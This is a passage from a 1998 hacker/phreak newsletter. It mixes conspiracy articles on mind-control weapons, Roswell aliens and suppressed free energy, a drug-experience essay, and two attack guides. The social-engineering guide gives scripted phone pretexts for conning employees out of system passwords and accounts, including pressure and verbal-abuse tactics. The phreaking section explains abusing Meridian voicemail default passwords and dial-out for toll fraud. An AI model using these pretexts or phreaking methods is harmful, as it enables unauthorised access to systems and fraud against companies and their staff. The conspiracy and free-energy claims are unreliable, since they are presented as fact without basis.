thoughts and join us in the Damage, INC. zone. ;) + + +BIG BROTHER BASHING - {BIG BROTHER} +Electromagnetic Mind Control Weapons Part 2: + +In the last issue, I wrote an article named EM Mind Control Weapons Part 1 +and stated that I would write Part 2 on the 1990s. Well, here it is. This +article will describe the EM Weapons of this decade and what Big Brother has +been working on relating to them. + + +ACOUSTIC PSYCHO-CORRECTION DEVICES - Supposedly, these devices can alter +a willing or unwilling person's behaviour after very little exposure by +transmitting specific commands to their subconscious using static or +white noise bands. Their intellectual functions aren't affected either, +so the person won't know that they've been brainwashed. Nor would anyone +else think that they were, since their level of intellect is unaltered. +Basically, it's a way of directly accessing a human being's mind. This +technology was developed by Russian scientists. However, the United States +is also conducting research and an exchange of information between the +two countries exists. In fact, using psycho-correction in Waco, Texas +(on David Koresh and the Branch Davidians) was even discussed. Some people +believe that some EM Weapons were actually deployed and used against them, +such as an unusual noise generator etc. I haven't watched the actual tapes, +so I can't comment on that. But, I won't discount the possibility of that. + +EM WEAPONS - Electromagnetic fields can affect a person's behaviour, emotional +state and thought process. This involves stimulating the brain via a carrier +frequency. It's a technical process that involves using amplitude modulation +to shape the wave.. which mimics an EEG frequency... imposing theta rhythms on +the victims. The research and development dates back to the 1960s and 1970s. +They can easily be used to adversely affect a victim's mind and nervous system. +Dr. Robert Becker, a person that was nominated twice for the Nobel Prize, and +a specialist in Electromagnetic effects wrote a report that describes the +symptoms of limited exposure to microwaves. They include nausea, panic, +retinal irritation etc. + + +SLEEPING BEAUTY - A project that involves mind-altering EM weapons for use +on the battlefield. + +MONARCH - A project that's supposedly directed towards the creation of severe +multiple personality disorder in intended victims. + +There are many other programs and projects underway relating to non-lethal +weapons (or "less than lethal" as the military refers to them as being). +Many of these projects in the United States are funded under the U.S. +counter-drug law enforcement policy, which has a yearly budget of $10+ billion. +Basically, the resources are just diverted to fund mind control programs which +can be used to develop weapons for crowd control during riots, or as non-lethal +anti-personnel weapons. Since they're non-lethal, there isn't any opposition +to their development and creation. Many of these projects are "black" projects +and highly classified. You can't obtain any information about them through +the FOIA (Freedom of Information Act). + +In conclusion, as I continue to research this topic, gain more knowledge and +information I'll attempt to keep everyone updated. The most likely scenario +is that articles on EM Weapons will be included in the Reports from the Front +section. I'll admit, this article was rushed. However, I intend to do +everything possible to ensure that readers of the Damage, INC. Newsletter are +provided with some current information in a future issue. Hopefully this +short article has opened your eyes about mind control weapons. It's something +that everyone should be concerned with and informed about in my opinion. These +weapons threaten our right and ability to think freely. They can be an evil, +unstoppable weapon in the hands of governments, terrorists and dictatorships. + +Written by BLACKENED ú Damage, INC. (C)opyright 1998. + + +BLACKENED'S TIP OF THE MONTH - {BLACKENED} +Social Engineering: + +In this article, I will share some tried and tested social engineering +techniques, tips, ideas and ways to apply them. I'll also explain what +social engineering is all about, why you should practice before attempting +to social engineer someone and what the best tactics to use are. Even though +TJ wrote an article titled 'Social Engineering' for the Damage, INC. Newsletter +Issue #2, I felt that it was necessary to write this article and share some of +the finer points of the art. The main reasons are that his article wasn't +nearly thorough enough, lacked useful information and techniques etc. Overall, +it wasn't complete and basically just contained his own untested theories and +ideas. TJ wasn't an experienced social engineer, nor was he a knowledgable +hacker/phreak. I regret publishing that particular article (as well as the +'Motivational Neophyte Blurb' that TJ wrote). In fact, I apologize for making +the mistake of including articles such as those, that weren't informational +or what I'd deem to be quality. I can assure you that oversights such as +that won't ever happen again though. Therefore, the topic of social engineering +has to be revisited and explained properly. Hopefully by writing this article, +the previous 'Social Engineering' article can be overlooked, ignored and perhaps +even forgotten. I sincerely hope that it doesn't need to be mentioned again. + +Most of you have probably read about social engineering or heard the term +used by others already. However, you may not know what it means. Or, you +may even think that it's not worth learning the skill and becoming an +experienced social engineer. To be blunt, you're wrong if you believe it's +not an important aspect of h/p, because it most definitely is. Just as a night +of trashing can provide useful, valuable information/hardware, a few minutes of +social engineering can save you a tremendous amount of time hacking. ;) + + +Social Engineering - My definition of social engineering isn't a very complex +one. In my opinion, it simply means using your mind and being able to think +of quick responses during any situation to persuade, influence, trick, scam, +fool, dupe, verbally hack/exploit in order to gain information, access to +systems etc. Basically, it's fast thinking and conning an intended mark out +of what you seek. The goal is to get them to believe you, do what you want them +to do and release information that they otherwise wouldn't/shouldn't give out +to anyone. It's about obtaining information that you wouldn't otherwise be able +to access easily or would be too time consuming to pursue. Social engineering +is a useful means of doing that for hackers/phreaks. It's also something that +requires creativity, improvising, experience, knowledge and most importantly, +intelligence. You must be an intelligent person in order to be a successful +social engineer. However, if you want to read someone else's definition, then +read the Social Engineering FAQ that exists. I just don't feel that text files +such as that adequately describe what it means, so I decided to define the term +'social engineering' in my own words for readers. In essence, it basically +means "bullshitting" if you want the blunt, true, unrefined, rarely stated +explanation/meaning of it. ;) + + +Techniques to try: +~~~~~~~~~~~~~~~~~ + +þ Sometimes social engineering a slow mark can be quick and easy. In fact, I've + seen it done (to acquire a password for a UNIX system) in 2 minutes or less. + Therefore, don't assume that you have to carry on a long conversation with + the mark before asking for any important information. Try to catch them + off guard by calling and identifying yourself as "Jim Robertson". Tell + them that you're an employee that's been on vacation in California for the + past two weeks. Explain that you've somehow forgotten your password. Or, + if you need a 'security' password to login on their UNIX system, tell them + that the password has been changed/forgotten... and that you can't access + your account to do your work. Let them know that you want to be able to call + remotely and finish working on an "important project" during the weekend. + +þ Dial up your mark (financial service companies are an especially good mark + for this technique). Express an interest in their company. Tell them that + you'd like to become a client of theirs and have inherited some money that + you wish to invest. Ask them questions about their company. Write down + their answers. Make them believe that you're very interested in the service + that they provide. They love talking to prospective clients. The mark will + start to trust you and treat you as though you're already a client/customer + of theirs. Then, say that you really want to try out the service first etc. + and explain that a greedy corporation ripped you off in the past. Play the + part of an innocent victim. If they want your business, and you're + believable, they'll allow you to do that... by providing you with any + information/login/password. Perhaps you'll be given a guest account to try + out their investment service or whatever they offer. Plus, you'll at least + have some basic information about their company to use against them at a later + date if needed. + +þ Select your mark and say "This is Robert Harpo of the New York remote + office/station... We're having problems logging into the server. We've + had problems with our network today. Some of our systems have been infected + by a virus. We've lost data... There are missing/corrupted/files etc. and + one of them contained passwords. Our clients are relying on us and we + may lose profits due to the virus attack." etc. Sound like you're worried + and that it's a major problem. Tell them the server crashed if you want, + that a trojan nuked it, that there are configuration/compatibility problems + with the network, or with retrieving certain data files. ;) Then ask for + the password needed to login on their server. If you know what cities they + have offices in, the address etc. then this technique should work perfectly. + Pretend that you're doing your job and make sure it sounds like you're in a + large office building with other people working away at terminals. As in, + the sound of a keyboard clicking overheard in the background can be very + effective at fooling the mark. + +þ Call up your mark (at a large corporation with many employees) and identify + yourself as "Richard Johnson. Human Resources Assistant." or whatever + job title you want. Then instruct the mark to setup an account for the + newly hired "Thomas Gibson"... with a password of "gibson". Assure them + that the new employee will be instructed to change their password for + security reasons etc. Say that you've been busy reading the resumes of + applicants and conducting interviews, information sessions etc. all day. + Make sure you call just after lunch hour, and say that you haven't even + had a chance to eat lunch yet. ;) + +þ Phone the mark and tell them that there's a problem with *their* server. + Explain that it's not accepting the password that you type. Tell them + that it's urgent that you access the system and retrieve a report that + you wrote. Sound desperate, but business-like. Pretend to be an employee + and try to con the password out of them by saying that you work in + the "marketing department" and that "you need the information ASAP for + a meeting that's scheduled today." etc. This technique isn't for accounts, + but rather for obtaining the password to access the system. If you know + anything about the corporation, such as what they produce, how they + advertise etc. use that in your "marketing report" scam... + +þ First, go trashing and try to obtain an employee list for the company that is + your target. If it contains hired on dates, choose a new employee's name + that was hired within the last few days/week. Then, call up your mark + and tell them that you're a new employee and haven't been given an account + yet. Give them the 'borrowed' name and a password etc. If they tell you that + you've already been given a login and password to use, explain that you + weren't personally notified. Tell them that Human Resources said you'd be + assigned an account, but never got back to you. Say that you've been in + training and that it's been a hectic, stressful week etc. Apologize profusely + for the time and hassle (inconvenience) that this misunderstanding has caused + them. However, remain calm and speak in a polite voice. They'll probably + reply with "That's okay." Thank them for their help. Soon you should have + an account (login and password) to use on their system. + +þ There are also social engineering techniques in which the telco is involved, + and you identify yourself as being a linesman, technician... or an operator. + Or, if you're very confident, have the ability and your mark is stupid, + sometimes the "I'm a security consultant/specialist/worker" scam works. ;) + Demonstrate to the mark that you know what you're doing, and they'll be more + than willing to help you get information etc. Sometimes you can even persuade + them into believing that you're helping them. I'm sure that you get the idea + by now though. + + +Note: Using your own ideas, techniques, scams etc. is always best. Only + telephone social engineering techniques were discussed. There are + also ways to social engineer by mail, internet Email and in person. + Most of the examples given were for gaining access to UNIX systems. + They're just tips, and not an instruction manual on how to social + engineer *anyone* you want. You must develop some of your own unique + techniques and apply them to the appropriate situations. Some of mine + are patented, and I chose not to reveal them to everyone. Also, you + may want to divert your calls (by using a diverter or dialing through + a VMB that you know diverts) as a precaution as well. ;) + + +Things to remember: +~~~~~~~~~~~~~~~~~~ + +þ You must remain calm and be confident while social engineering someone over + the phone, or in person. No Phear. ;) + +þ You have to be comfortable using the social engineering technique/scam that + you've chosen to use. So, practice it many times on friends while talking + on the phone. Learn how to play mind games on them. Eventually, conning + people that are total strangers won't seem so difficult anymore. + +þ Some social engineers like to have everything carefully planned out, written + down on paper, know as much as possible about their mark and don't like to + improvise at all. In other words, they follow a script that they created + beforehand. They're almost like telemarketers. If you're that uncomfortable + or ineffective at social engineering, then you might as well quit now. + If not, then play off what your mark says to you. Improvise and use the + spontaneous responses to your advantage. It'll sound more realistic that + way, like a normal conversation. Basically, you have to be able to make shit + up as you go along and feed your mark believable bullshit. Speak to them + naturally, in a normal tone of voice... instead of reading from a script. + Try to be real, not a fake that they'll be able to detect. Gain their trust + and then use it against them to get the information that you seek. + +þ Be courteous and polite with whoever answers the phone. In most situations, + you should act business-like and mature. Avoid using any slang, swear words, + poor grammar etc. at all times. For example, do not say "Hello. Like, ummm + I really need a password to access your UNIX system d00d. Do ya think ya + can help me? Uhhh... Please? Duh..." Basically, don't talk like a warez + d00d and act stupid. + +þ Knowing your mark can be very important in certain cases. You can obtain + information by trashing, and then reading documents. Or, you can get + someone else to social engineer them for basic company information first, + several days before you call. That way, you will have some names, phone + numbers, basic company information, contacts, companies that they supply, + work with or are affiliated with etc. already when you call to social engineer + them for 'security' information such as a password to login. + +þ Scanning can definitely benefit you in your social engineering endeavours. + If your target is a large UNIX system, and you scan around (+50 and -50 + numbers above/below the number usually works)... then you should be able to + find the root system. Once you find a line with a person that answers voice, + you will already have some basic information about their company that you can + use against them. + +þ Consider your mark to be your opponent/adversary. Don't have mercy or + pity on them. Don't show any weakness. Never assume that they're not + intelligent or that you can easily social engineer them. Be aggressive and + act as though you're just doing your job if they start asking a lot of + prying questions. Say whatever is required to make them believe you. In + fact, pressure them. Force them into believing you. Sometimes you'll have + to become angry with them if they doubt your authenticity. At that point, + sometimes a verbal assault is the key to getting them to apologize and give + you whatever you originally asked for. When asking for information, don't + hesitate. Be assertive. Don't let them cut you off while you're speaking. + Make sure you clearly state what your intentions are and what you want. + However, they'll obviously ask certain questions that you'll have to provide + them with answers to... such as what your name is, what company you work + for, what job position you hold etc. So, have something prepared or at + least an idea of how to answer any questions that you know you'll be asked. + +þ Whatever personal/company information you use cannot sound fake, or it won't + work. Therefore, take the time to choose an appropriate name, an authentic + company name etc. Never try to use shit like "Hello. This is Joe Hax0r of + Killroy & Killroy Co. I'm doing research on..." or "Hello. My name is + Harry Black. I'm a University student. The reason I called is that I'm doing + a project and would like some information about your company for a term paper + on Macro Economics that I am writing. Can you provide me with anything? + Thanks in advance." or "Hi, I'm having difficulty logging into the system. + I'm... ummm... Rick the Admin guy." etc. That shit won't fool anyone. + +þ The "I'm a new employee with the company and I forgot the password." type + of social engineering attack isn't the greatest and it lacks imagination. + It's also quickly becoming obsolete. That is, unless you've gone trashing + or obtained an employee list through some other means. Then it may work, + if you sound/act the part... by apologizing profusely, chatting with the + mark and letting them know that you won't forget it again. Basically, + reassure them that it's all your fault and say "I can't believe I forgot the + password. I went to login and my mind was blank." Try to get them to pity + you. Boost their ego in the process, and the mark will feel good about + helping a lowly 'clueless' new employee out. Avoid using it often though. + Never rely on that story to work every attempt either. + +þ Don't be greedy. If you start asking them for too much information, too + quickly, you won't be given anything at all. Plus, it can alert the mark + about what you're attempting to do. Once they're "on to your scam" they + aren't going to give you any assistance at all. That is, at least not on + that particular day. ;) If you become too greedy, and want information + right away, you may find that you are successful at social engineering + people less and less. + +þ Try not to act nervous or suspicious. I realize that some people may not + be able to control their emotions, but it's critical that you do. Otherwise, + you'll fail at social engineering, time and time again. So, you must + learn to be at ease while scamming your mark. Obviously, you want to be + as convincing as possible and not draw any suspicion. There's no way to + teach how that's accomplished. Nor is there any great advice that can be + given regarding how to avoid nervousness. I can't tell you how that's done. + Also, don't be hyper and start talking fast. If they can't understand you, + and have to ask you to repeat yourself... they'll become suspicious. + +þ Good liars don't necessarily make great social engineers. In other words, + habitual liars aren't always so adept at being able to social engineer + for certain types of information. Sometimes, knowledge is required in + order to be successful and it was attained through a means other than + lying. Basically, the point is that lies can only take you so far, even + in relation to social engineering for information. + +þ If you have a high pitched voice, one that crackles or is in the process of + changing... you won't pass for an adult. So, you're only option is to buy a + voice changer. It'll alter your voice so that it sounds deeper to your mark. + That way, they won't say "Who are you? How old are you? Is this a prank? + Listen kid, I don't have time for this shit. Go play Sega/Nintendo." ;) + +þ Background noise (such as music that wouldn't be playing in an office), + street noise (if you're using a pay phone), dogs barking, kids crying, + people talking loudly or yelling etc. can destroy your efforts at social + engineering someone. Try to eliminate those types of noises if at all + possible, as they can adversely affect what you're trying to do. + You won't be believed by your mark if your friend is laughing in the + background either. + + +In conclusion, social engineering is a valuable tool/skill to possess. It's +a powerful skill that has to be developed. Some people are born "natural +social engineers". It's a talent that they've always had... but they still +work on honing their skills, practice their craft and have made it into +a legitimate art. Watching and listening to someone successfully social +engineer their way to gaining access to a system is such a thing of beauty. +Just as, the rush that you get after social engineering someone yourself +is amazing. You can allow your creativity to emerge, use your imagination, +react to the situation, respond quickly to questions and trick your mark +into believing or doing whatever you want. By now, it should be obvious to +you that I enjoy social engineering. ;) It's a learning process that takes +time and is challenging though. However, it has great benefits and the +experience gained can be extremely rewarding. + +Written by BLACKENED ú Damage, INC. (C)opyright 1998. + + +CONSPIRACIES AND COVERUPS - {COVERUPS} +Examining the Majestic-12. + +Do you believe that a UFO crashed near Roswell, New Mexico? Do you believe +it is possible that aliens are living in hidden bases deep beneath the Earth? +Have you heard of the Majestic-12, and the leadership role they have played in +covering up the existence of aliens, and the aliens' relationship with the +United States? If you haven't, I'll give you a basic introduction to what could +very well be the greatest conspiracy and coverup perpetrated in human history. +All I ask of you, the reader, is that you have an open mind. This conspiracy is +so great that very little information/evidence has been uncovered. + +As always, the best place to start is the beginning. When did the U.S. +Government, through their agents, initiate first contact with aliens? The +answer to that question is revealed in a leaked document with MAJIC security +clearance. On June 24, 1947 a civilian pilot saw nine flying disc-shaped +aircraft, while he was flying over the Cascade Mountains in Washington state. +The flying saucers were flying extremely fast in standard formation. Unlike +previous UFO sightings, this one was widely reported by the mass media. After +this, there were hundreds of people coming forward to report their sightings of +UFOs like the flying discs. What worried the U.S. Government is that many of +the sources came from military officers and civilian leaders. Various branches +of the U.S. military reacted by initiating their own investigations. Witnesses +were "interviewed". The U.S. military also tried to engage the flying discs, +but they failed miserably. Unfortunately for us, the coddled, weak-minded +public would border on hysteria at various times. + +The U.S. Government knew very little about these flying discs. There simply +wasn't an opportunity for anyone to gain any new information. I am referring to +the now famous (perhaps infamous) Roswell incident. One night a rancher local +to Roswell reported that he saw a flying disc crash, at a location that was +approximately seventy-five miles northwest of the Roswell Army Air Base. + +On July 7, 1947, The U.S. Government initiated a secret operation to recover the +wreckage of the "flying saucer" for scientific study. However, there is another +bit of information that many people that have studied the Roswell incident may +not know. The reason that many Roswell residents could not confirm seeing +aliens is that they ejected from their craft. Four small human-like beings were +found approximately two miles away from the crash site. There are conflicting +reports as to whether there was a surviving alien or not, but that could be the +subject of another article. The most important point of this incident is that +alien corpses and artifacts were recovered by the U.S. military. Roswell +citizens were then interviewed (and in some cases silenced by various threats) +and the weather research balloon coverup was construed. + +In order to deal with this critical situation, some of then-President Truman's +closest advisors recommended the creation of a "Top Secret Research and +Development/Intelligence operation responsible directly and only to the +President of the United States." The name of the Operation is OPERATION +MAJESTIC-12. The Majestic-12 was established by Truman's executive order on +September 24, 1947. The Majestic-12 are literally twelve people. The +Majestic-12 are a team of military leaders, political leaders, and scientists +that are at the top of their respective fields. Each member is designated a +codename. Their leader is MJ-1, which falls upon the Director of the CIA. The +reason why I will not use "MJ-12" as an abbreviation is because MJ-12 is a +person, not an abbreviation for the Majestic-12. At different times, they may +be called upon to use their talents to evaluate alien information, technology, +biology, and other factors involving alien beings. When the Majestic-12 are +called into action, only members with the proper skills for the project are +given any information. The information the Majestic-12 is given is controlled +by MAJI. + +MAJI stands for the MAJESTIC AGENCY for JOINT INTELLIGENCE. This group is in +total control of dealing with all alien concerns. That includes contact with +aliens, national security and intelligence, and of course providing +disinformation to prevent "outsiders" (us) from discovering the alien presence +within the United States. All MAJI documents are classified "MAJIC", which +means MAJI Controlled. MAJI, like the Majestic-12, report directly to the +President, and is thought to be based in Washington DC. + +All alien information is processed under the large umbrella of what is known as +"PROJECT GRUDGE". Under Grudge, there are various child projects that deal with +specific courses of action to control the alien presence. Below I will give +you information on various projects that are at the heart of this coverup. + +AQUARIUS: This project has been active since the United States' first contact + with UFOs, as well as contact with IACs (Identified Alien Crafts). + This project was born in 1953, and is under the control of MAJI and + the CIA. The purpose of Project Aquarius was to collect all + scientific, technological, medical and intelligence information from + UFO/IAC sightings and contacts with aliens. Information obtained + from Project Aquarius is what has given the United States its world + superiority in space flight and military aircraft. + +AQUARIUS/ + PLATO: Project Plato's mission was to establish diplomatic relations with + aliens. Under this project, diplomatic relations with alien races + were established and a pact was formed. The U.S. took alien + technology in exchange for agreeing to keep out of the aliens' + affairs on Earth. The U.S. also agreed to keep the existence of the + aliens' presence a secret. Project Pounce is an offshoot of Project + Plato. Project Pounce's mission is the secret crash recovery of all + aliens, and their craft. + +AQUARIUS/ + SIGMA: This project's goal was to establish communication with the aliens. + The goal was achieved in 1959, when primitive forms of communication + were established. Subsequent encounters with aliens under Project + Sigma have continuously improved communication with the aliens. + Project Sigma is viewed by MAGI to have been successful. + + GRUDGE/ +REDLIGHT: Project Redlight's purpose was to test fly recovered alien craft. + This project continues in Nevada (at Area 51/Dreamland). Project + Snowbird is a child project of Project Redlight. Project Snowbird's + objective was to create flying discs using conventional technology as + an excuse for the high number of flying disc sightings that were + being reported. + +There are many more projects that deal with weapons development, and defense +strategies against the aliens, etc. However, they aren't as important as the +projects listed above. The United States have been harbouring and supporting +aliens for almost 50 years. Recently, in the last year the U.S. Government, +along with the U.S. Air Force has tried to coverup the Roswell incident yet +again. They now claim that there weren't any alien bodies recovered, but that +dummies that resemble human beings, that were used in an experiment were all +that the Roswell witnesses observed. Basically, they're still denying the +truth. They have cut deals with the aliens with their own self interests in +mind. Meanwhile, reports of alien abductions haven't decreased at all. In +fact MAJIC knows *and allows* the aliens to abduct humans, as long as they +provide MAJIC with the names of the victims. MAJI has sold us out to races of +aliens that plan to use us for their own ends. In my opinion, the greater sin +that the U.S. has committed is the fact that they are covering up every bit of +information. If there are alien "visitors" on our planet, we have a right to +know. Not all of us are weak-minded zombies. I'd personally rather face my +fate, than to be stabbed in the back and kept in the dark. + +I hope that you have found this article to be interesting and informative. +I felt it was important for me to write this article. Of all the conspiracies +within Washington, none have been covered up like the existence of aliens within +the United States. A lot of disinformation is out there in various mediums. I +believe that we will eventually be exposed to "hard facts" of the existence of +aliens on our planet. At this point, it's difficult to know what to believe +and what not to believe. Unfortunately, the naive will be caught totally off +guard if the alien races' intentions are malevolent. + +Written by Blackie Lawless ú Damage, INC. (C)opyright 1998. + + +CORRUPTION AND GREED - {GREED} +Power industry reformation is required. + +Despite all of the advancements that've been made in the fields of science and +technology, there have been very few in the generation of the electricity and +fuels needed to power everything. Why is that? Why has power generation +technology taken so long to advance? Why do we still heavily rely on limited +resources for power? One would think that with finite natural resources, more +ingenious ways would be developed to provide clean electric power. + +Actually, there are inventions that tap into free, natural energy sources. For +example, U.S. Patents have been awarded for motors that contain permanent +magnets. According to my research, the magnets within the motor tap into the +energy within the Earth's magnetic field. This provides the motor with a nearly +unlimited fuel source, so that conventional fuels (oil, gasoline, etc.) aren't +required. Can you imagine the potential if we could all have an electric +generator based on a magnetic field powered motor? If you are an intelligent, +enlightened person, I'm sure you understand the implications of that. We would +no longer have to pay a government or corporate power utility for electricity, +but *we* could be in control of our own independent power source! After the +initial investment, a generator powered by the Earth's magnetic field would pay +for itself extremely quickly. + +Free energy inventions have been repressed for decades now. An Austrian civil +engineer named Viktor Schauberger invented, and with limited funds began to +develop what's called an "Implosion Turbine." Water is pumped by an Impeller +pump through a Logarithmic-Spiral shaped coil of tubing until it reaches a +critical velocity that causes the water to implode. The water moves so fast +that it no longer touches the inside walls of the tubing. The force of the +implosion drives the pump, which causes the pump's motor to become an electric +generator. Dan A. Davidson, an author that wrote about the Implosion Engine in +1977 says, "The device seems to be tapping energy from that of the Earth's +rotation, via the "Coriolis effect", like a tornado." In essence, it uses +the Earth's own gravity, in conjuction with its rotation to create a viable +means of sustained power. Basically, tremendous spinning forces can be used to +artificially create gravity. The most sickening fact is that Viktor Schauberger +invented the Implosion Engine during the 1930s. However, he didn't have the +funds or support to complete his work. + +Are you skeptical about the existence of inventions that can tap into the +natural energy of the Earth? Hopefully, you will be more tolerant of an +invention with tremendous potential. A Bulgarian-born American Physicist named +Joseph Maglich invented and partially developed an atomic fusion reactor that he +named "Migma." An amazing fact is that Migma uses nonradioactive deuterium as +fuel. Nonradioactive deuterium is readily available in sea water. Obviously, +there's more sea water on this planet than we could ever use. If Migma were +fully developed, Maglich stated it would produce no radioactive waste, and is +designed not not to require a turbine to generate electricity. (According to +what I have read, Migma generates electricity itself, without any external +turbines, etc.) He also said that Migma could be built to fit in a single +house, or large enough to power an entire city. One source stated that +Maglich's partially developed Migma works, generating "three watts of power +for every watt put in." + +You may be wondering why these devices haven't been developed and mass produced +for our benefit. What would benefit the average person does not benefit the +corrupt fat cats in the power and fuel industries. Governments also have a hand +in blocking any new, superior power generation technologies from being +developed. All factions involved in the current way that power is generated +and distributed are making a tremendous amount of wealth, and wield a lot of +influence. Free energy motors and other inventions would destroy them. The +potential that these, and many other power/electricity generating devices have +is enormous. Coal burning stations, nuclear reactors, oil refineries... they +would all become instantly obsolete. We could be in control of our own power +sources. Plus, the environment would also benefit. As I mentioned in the +examples above, none of them claim to produce any harmful gases, radioactive +waste, etc. So, the levels of air, water and ground pollution would be far less +than they currently are. + +Governments and huge, multinational energy/fuel companies have been extremely +aggressive in eliminating such threats to their cash cow monopoly. Inventors +have been denied patents from their government. Then a "threatened" company +would patent that inventor's creation so that it can never be developed and mass +produced for our use. Other inventors have been bribed, threatened, or their +work is "mysteriously" destroyed. The reason for the collusion and between +governments and energy/fuel companies is greed. Tremendous profits are +generated by efficiently run private operations. Governments also reap +tremendous amount of tax money from these industries. In many areas, +electricity is a government controlled industry. They control it and supply +their citizens with electricty. Therefore, they'll do anything in order to +prevent people from becoming self-sufficient. Indeed, they want citizens to +rely on them for their basic needs. In Ontario, as an example, let's say that +the refinery sells some gasoline to a gas station. The price that day is 21.35 +cents/litre. The Ontario government slaps on a 14.70 cent/litre "Fuel Tax." +Then the Canadian government adds on a 10 cent/litre "Excise Tax." Finally, +the Federal Goods and Services Tax (GST) of 7% is added. The GST is applied to +the Provincial Fuel Tax and the Federal Excise Tax as well as the base price to +the gas station. That increases the price to the consumer tremendously. It +starts off at 21.35 cents/litre and goes to 49.3 cent/litre (and that's without +adding the gas station's profit of a few cents). If a car with a water, +air, or magnetic field powered engine was manufactured, that tax money would +remain in our pockets (until new taxes were created to replace the old taxes +mentioned above...). However, it might be more difficult for them to tax +those natural elements. :-) + +Although tax dollars are important to them, control over the zombies is +paramount. Big Brother wants every house to have electricity and be connected +to his power grid. That way, Big Brother is in total control of the power +switch. If we all had independent power sources, Big Brother wouldn't be able +to shut off your electric power before busting down your door, or monitor how +much power you use as easily as they can right now. + +It is a horrible state of affairs when the pursuit of greed and power by a +corrupt few can do so much damage. What is even worse is that their efforts +to prevent all of us from obtaining free electric power have been successful. +There aren't very many people that know about all of the inventions that have +been hidden or eliminated. That is why I have written this article. I want to +make sure that everyone is informed that there are people out there that are +suppressing new and old, superior technologies for their own short-sighted, +greedy purposes. They also live with great fear in their hearts, as the death +of their industry looms before them. + +--- +While doing research for this article, I found some references that I was +unfortunately unable to obtain. If you have access to the following sources +(and wish to learn more about the inventions I wrote about), check them out: + +"Science & Mechanics" magazine, Spring 1980, ("Amazing Magnet-Powered Motor", by + Jorma Hyypia, pages 45-48, 114-117, and front cover). + +Implosion Turbine: "A Breakthrough to New Free-Energy Sources", + Dan A. Davidson, 1977. + +Migma: "New Times" (U.S. version), 6-26-78, pages 32-40.] + +Written by Shatazar ú Damage, INC. (C)opyright 1998. + + +CROSSED WIRES - {WIRES} + +If you'd like to advertise your h/p board or net here, contact us at +damage_inc@mailcity.com and attach an ascii advertisement to the message. +Advertisements must not exceed 4 pages in length and 80 columns in width. + + + Special Access for long distance users + .sS$$$$$ý$$$Ss. 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Most often though, +they call it pot or dope. Ah yes, that wonderful plant... cannabis. That +beautiful green plant, with its sweet leaf. Those perfect buds. With that +intoxicating fragrance. That amazing flavour. It's simply too sweet. In fact, +it should be grown everywhere with a mandatory minimum for THC content. Yes, +I'm speaking about marijuana. Yes, indeed it's the best plant of all! :) + +Let me tell you about some of my drug experiences, especially the ones that +involve the sweet leaf. Afterall, sharing drug experiences is part of what +the Drugs Discussion section is about. + +Sure, I've tried other drugs. I've experimented with acid, heroin etc. I +have smoked hash, oil and done shrooms countless times. However, there's +just nothing better than smoking a big, fat joint in my opinion. That's where +it's at. Why? Well, it's calming and soothing for one thing. I find that +I can collect my thoughts, think clearly and get back my creativity. I don't +toke to get away from my problems. Nor does it provide me with answers and +solutions. I don't think of it as an escape or a way to avoid reality. And I +definitely don't smoke weed in order to be cool. It's a pure, basic, primal, +honest experience. I really enjoy it, and don't see any harm in smoking up now +and then. Well, actually my 'habit' of smoking pot is almost a daily ritual +now. That's okay though. Why? I haven't experienced any harmful side effects +at all. It hasn't suddenly made me into a lazy 'stoner' that's permanently +baked or burned out. I've been able to accomplish more in the last few months +than when I wasn't smoking marijuana on a regular basis. It has been beneficial +to me, instead of the myth that it will make you into a dope if you smoke +too much or too often. + +Now that I've explained a few things and given some reasons as to why I +smoke marijuana, I'll describe some of the drug experiences that I've had +with the sweet leaf. :) + +One of my fondest memories is of smoking weed with some friends at an old, +abandoned school. We were downtown that night and picked up some weed from +a local dealer behind an arcade. We all decided to go to the school to roll +some joints and smoke it. The building was old, it was about midnight and +I was much younger. The whole experience was new to me, as it was only the +second time that I'd smoked a joint. Sure, I'd smoke hash before and took +a few drags off of joints that were passed around. But I had never really +gotten much more than a buzz... and didn't smoke enough. This time was +different though. Everyone in the group smoked until we were baked... and we +sat there, drinking, smoking up, talking for hours. Nobody was around so we +were able to sit out on the old fire escape balcony without worrying about a +cop busting us. The memory of that night is still vivid in my mind, and +it's something that I don't think I'll ever forget. We shared stories and I +was at peace... one with the other members of the group. I think the dope +was at least partially responsible for us being able to open up and talk so +openly about things with each other. Basically, it was comfortable and I +felt free. It was just a feeling that I had that particular night that lasted +the duration of our gathering. It was more than getting 'high'. There was good +karma. That may sound lame, but it's the truth. It's the feeling that smoking +weed gave me. I fucking loved it. That is probably what attracted me to +marijuana, made me continue to smoke it and fed my desire for it. + +Perhaps I'll share some other drug experiences in a future article. Hopefully +you enjoyed reading this article. I also hope that everyone understands the +message I was trying to convey about the feeling marijuana gave me. That's not +an easy thing to explain or express in mere words. + +Written by THC Phreak ú Damage, INC. (C)opyright 1998. + + +H/P INFORMATION AND NEWS - {H/P} +Dialing out through VMBs: + +Would you like to divert your calls? Or, perhaps you want to call ld for free. +Maybe you should look at dialing out through Voice Mail Box Systems. Many +support it, and most are set default to allow dialing out. That means the +Admin of the VMB would have to manually change the system to disallow the dial +out feature. If you are looking for VMBs, then I suggest checking out the +800-MAIL.DAT scan list that's included with this issue. There are many Meridian +Mail systems to choose from in that scan. Obviously, you can also scan +1-800 exchanges on your own to find VMBs. Also, I suggest that you read +Blackie Lawless' article on VMBs that was included in the h/p section of the +Damage, INC. Newsletter Issue #6. Now that you have a few Voice Mail Systems to +check out, I'll explain a little about dialing out and using certain features. +Some very good VMB systems for this are Meridian Mail, Audix, ASPEN, etc. + +With Meridian Mail Systems the default password is the same as the box number, +so obtaining a working Meridian VMB isn't too much of a challenge. Once you +have successfully accessed a box on the system, you'll most likely hear a +"MAILBOX EMPTY" message. If there are messages in the box it will say +"YOU HAVE x MESSAGES" or "YOU HAVE x NEW MESSAGES" and start playing them. +Usually it'll tell you that they're "FROM AN EXTERNAL NUMBER" etc. as well. +It'll say "END OF MESSAGE" after each message that you listen to. Try pressing +options such as "7*" which will tell you a list of message commands, "8*" will +give you to a list of personal options, and "0*" is used to access the outdial +feature. :) + +Meridian Mail Box Features: +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +7* message commands: + +Message option 0 - Not useful. +Reply 1 - Reply to a previous message. +Play Envelope 2 - Play message envelope. +Forward 3 - Forward your mail to another box. +Reply All 4 - Reply with multi-mail. +Compose 5 - Send multi-mail. +Delete 6 - Delete mail. +Send 9 - Send mail to another user's box (requires valid BN). +To Exit press # - Exit. +To hear the list again or stop listening to messages press "*". + +8* personal options: + +Mailbox options 0 - Change operator code. +Login 1 - Login another box. +Greeting 2 - Change the greeting messages. +Logoff 3 - Logoff the system. "Goodbye". :) 